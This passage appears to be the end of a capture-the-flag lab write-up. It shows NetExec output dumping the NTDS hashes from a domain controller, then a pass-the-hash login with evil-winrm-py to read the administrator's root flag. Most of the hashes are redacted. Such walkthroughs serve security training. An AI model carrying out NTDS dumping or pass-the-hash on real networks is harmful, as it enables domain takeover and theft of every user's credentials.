SMB         10.1.3.48       445    DC-STELLAR       [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.3.48       445    DC-STELLAR       [+] stellarcomms.local\SATLINK-SERVICE$:[REDACTED] 
SMB         10.1.3.48       445    DC-STELLAR       [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         10.1.3.48       445    DC-STELLAR       [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.1.3.48       445    DC-STELLAR       Administrator:500:aad3b435b51404eeaad3b435b51404ee:[..SNIPED..]:::
SMB         10.1.3.48       445    DC-STELLAR       Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.1.3.48       445    DC-STELLAR       krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[..SNIPED..]:::
SMB         10.1.3.48       445    DC-STELLAR       stellarcomms.local\junior.analyst:1103:aad3b435b51404eeaad3b435b51404ee:[..SNIPED..]:::
SMB         10.1.3.48       445    DC-STELLAR       stellarcomms.local\ops.controller:1104:aad3b435b51404eeaad3b435b51404ee:[..SNIPED..]:::
SMB         10.1.3.48       445    DC-STELLAR       stellarcomms.local\astro.researcher:1105:aad3b435b51404eeaad3b435b51404ee:[..SNIPED..]:::
SMB         10.1.3.48       445    DC-STELLAR       stellarcomms.local\eng.payload:1106:aad3b435b51404eeaad3b435b51404ee:[..SNIPED..]:::
SMB         10.1.3.48       445    DC-STELLAR       DC-STELLAR$:1000:aad3b435b51404eeaad3b435b51404ee:[..SNIPED..]:::
SMB         10.1.3.48       445    DC-STELLAR       SATLINK-SERVICE$:1108:aad3b435b51404eeaad3b435b51404ee:[..SNIPED..]:::
SMB         10.1.3.48       445    DC-STELLAR       [+] Dumped 9 NTDS hashes to /home/kali/.nxc/logs/ntds/DC-STELLAR_10.1.3.48_2026-01-29_232829.ntds of which 7 were added to the database

Now we use the Administrator NTLM hash to authenticate to the DC and get the root flag.

└─$ evil-winrm-py -i 10.1.3.48 -u administrator -H [REDACTED]
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to '10.1.3.48:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>
evil-winrm-py PS C:\Users\Administrator> cd Desktop
evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt

FLAG[REDACTED]


              _-o#&&*''''?d:>b\_
          _o/"`''  '',, dMF9MMMMMHo_
       .o&#'        `"MbHMMMMMMMMMMMHo.
     .o"" '         vodM*$&&HMMMMMMMMMM?.
    ,'              $M&ood,~'`(&##MMMMMMH\
   /               ,MMMMMMM#b?#bobMMMMHMMML
  &              ?MMMMMMMMMMMMMMMMM7MMM$R*Hk
 ?$.            :MMMMMMMMMMMMMMMMMMM/HMMM|`*L
|               |MMMMMMMMMMMMMMMMMMMMbMH'   T,
$H#:            `*MMMMMMMMMMMMMMMMMMMMb#}'  `?
]MMH#             ""*""""*#MMMMMMMMMMMMM'    -
MMMMMb_                   |MMMMMMMMMMMP'     :
HMMMMMMMHo                 `MMMMMMMMMT       .
?MMMMMMMMP                  9MMMMMMMM}       -
-?MMMMMMM                  |MMMMMMMMM?,d-    '
 :|MMMMMM-                 `MMMMMMMT .M|.   :
  .9MMM[                    &MMMMM*' `'    .
   :9MMk                    `MMM#"        -
     &M}                     `          .-
      `&.                             .
        `~,   .                     ./
            . _                  .-
              '`--._,dd###pp=""'
evil-winrm-py PS C:\Users\Administrator\Desktop>